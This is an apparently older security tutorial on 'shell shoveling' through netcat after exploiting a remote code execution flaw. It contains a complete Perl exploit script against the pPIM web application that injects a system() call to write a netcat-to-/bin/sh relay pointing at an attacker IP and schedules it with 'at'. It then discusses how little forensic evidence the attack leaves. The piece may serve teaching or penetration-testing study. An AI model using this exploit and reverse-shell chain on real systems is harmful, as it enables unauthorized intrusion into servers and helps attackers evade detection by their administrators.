Post Compromise Shell Shoveling

30 November -0001

Shoveling a shell is a process whereby an attacker can gain interactive access to a compromised host. What distinguishes a shoveled shell is that the interactive shell runs on the attacker's machine, rather than the target. This allows an attacker to bypass firewall rules on a target, as the target sends a request to the attackers machine, and presents the shell there. The attacker simply uses an interactive connection on their local host to send commands to the remote host and receive the output locally.

In order to shovel a shell an attacker must have some ability to execute commands on the target. In practice, this usually involves some sort of remote code execution vulnerability on the target. The presence of such a flaw gives the attacker control over the web server process, but usually involves sending commands blindly to the target. In other words, the flaw may allow for command execution but doesn't present the attacker with the results or output of the command. By shoveling a shell the attacker can gain full interactivity - issuing commands and viewing the results in a convenient manner.

Setting up the Connection

In order to shovel a shell the attacking machine must have two netcat sessions running. One session is for issuing commands that will be relayed to the target, the second session is used for receiving the output of commands from the target. In order to set up these commands the attacker must use netcat with the "-l" flag in order to open a listening port.

Netcat is "featured networking utility which reads and writes data across network connections, using the TCP/IP protocol." You can download netcat from SourceForge. Note that many Red Hat based distributions (CentOS, RHEL, Fedora) have netcat installed but the installed version does not support the "-l" flag. Also note that different distributions may refer to the netcat program in different ways, some may use "nc" and others may use "netcat" so check your target and your attack platform to confirm their syntax and available support for listening flags.

In order to establish the basis for our shoveled shell we'll set up two instances of netcat. The first will listen on port 3000, for issuing commands, and the second will listen on port 3001 and gather command output. It is easiest to open two terminal windows in order to effectively use this method. In the first terminal issue the following command:

# nc -vvn -l -p 3000

In the second terminal issue the command:

# nc -vvn -l -p 3001

Once these two sessions are up and running it's time to move to the target platform.

Shovel the Shell

For the purposes of this article we'll assume the target is running pPIM, a PHP based application that has numerous remote code execution vulnerabilities. The first part of our exploit is to write a shell script to the remote machine. This shell script will set up the netcat callback to our attack box, which is at 192.168.0.51. Once this shell script is written we'll use the 'at' command to schedul it's execution. In this example we won't worry about cleaning up our tracks by hiding any evidence that we've compromised the host.

In order to write the shell script we'll run the following Perl script which will compromise the target located at 192.168.0.2.

#!/usr/bin/perl
#
# pPIM Uploader by Justin C. Klein Keane
# Used to upload the shell script to a target pPIM site
#
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);

$ua = LWP::UserAgent->new();
$request = HTTP::Request->new();

$response = $ua->request( POST 'http://192.168.0.2/ppim/makegroup.php?login=1',
        Content_Type => 'form-data',
        Content => [
                'groupname' => 'hacking',
                'submit' => 'Make+Group'
        ],
);

$response = $ua->request( POST 'http://192.168.0.2/ppim/makegroup.php?login=1',
	Content_Type => 'form-data',
	Content =>
        [
                'linkname' => 'test',
                'linkurl' => '";$url=system(\'echo "netcat -vvn 192.168.0.51 3000 | /bin/sh | netcat -vvn 192.168.0.51 3001" > /tmp/foo.bar\');$foo="',
                'linkdescription' => 'test',
                'groupname' => 'hacking',
                'linksubmit' => 'Make+Link'
        ],
);
$ua->get('http://192.168.0.2/ppim/links.php?login=1&group=hacking');

$response = $ua->request( POST 'http://192.168.0.2/ppim/makegroup.php?login=1',
	Content_Type => 'form-data',
	Content =>
        [
                'linkname' => 'test',
                'linkurl' => '";$url=system(\'at %2B1 minutes -f /tmp/foo.bar\');$foo="',
                'linkdescription' => 'test',
                'groupname' => 'hacking',
                'linksubmit' => 'Make+Link'
        ],
);
$ua->get('http://192.168.0.2/ppim/links.php?login=1&group=hacking');

Once this command is run we have to wait a minute for the "at" to schedule the remote shell shovel. After a minute you can type commands in the first terminal window and observe output in the second:

Shoveling a shell

Although the shoveled shell provides convenience and interactivity as well as bypassing firewall rules, there are disadvantages to this approach. From a forensics standpoint, this attack leaves behind quite a bit of evidence. On Apache the httpd error log will log errors that look distinctly odd and will alert any astute admin that something is up. A sample of this log activity looks like the following:

[Wed Feb 25 12:15:43 2009] warning: commands will be executed using (in order) a) $SHELL b) login shell c) /bin/sh job 9 at 2009-02-25 12:16

Although this is obvious, in general the attack is rather quiet. Once the shell has been shoveled there is no logging of the actual commands that are executed, which is a vast improvement over most remote code execution vectors. In general remote code execution vulnerabilities take advantage of variable manipulation, which is often logged in the Apache server logs. In this attack there is some log activity to indicate foul play, but it is minimized. The following is an excerpt from the Apache access log:

192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "POST /ppim/makegroup.php?login=1 HTTP/1.1" 302 157 "-" "libwww-perl/5.808" 192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "POST /ppim/makegroup.php?login=1 HTTP/1.1" 302 - "-" "libwww-perl/5.808" 192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "POST /ppim/makegroup.php?login=1 HTTP/1.1" 302 - "-" "libwww-perl/5.808" 192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "GET /ppim/links.php?login=1&group=hacking HTTP/1.1" 200 2277 "-" "libwww-perl/5.808" 192.168.0.2 - - [25/Feb/2009:12:18:26 -0500] "GET /ppim/links.php?login=1&group=hacking HTTP/1.1" 200 2277 "-" "libwww-perl/5.808"

This log clearly shows scripted behavior. Although it is possible to mask the "libwww-perl/5.808" browser agent information using Perl's LWP module, you'll also notice that the same IP makes four concurrent web requests all at the exact same time (or within one second). This is clear evidence of scripted behavior, however there is no further evidence of the compromise. Because Apache doesn't have a home directory there is no bash history or other mechanism that might alert an admin of what has happened. This will severely confound any forensic analysis because there is very little in the way of a breadcrumb trail for investigators to follow.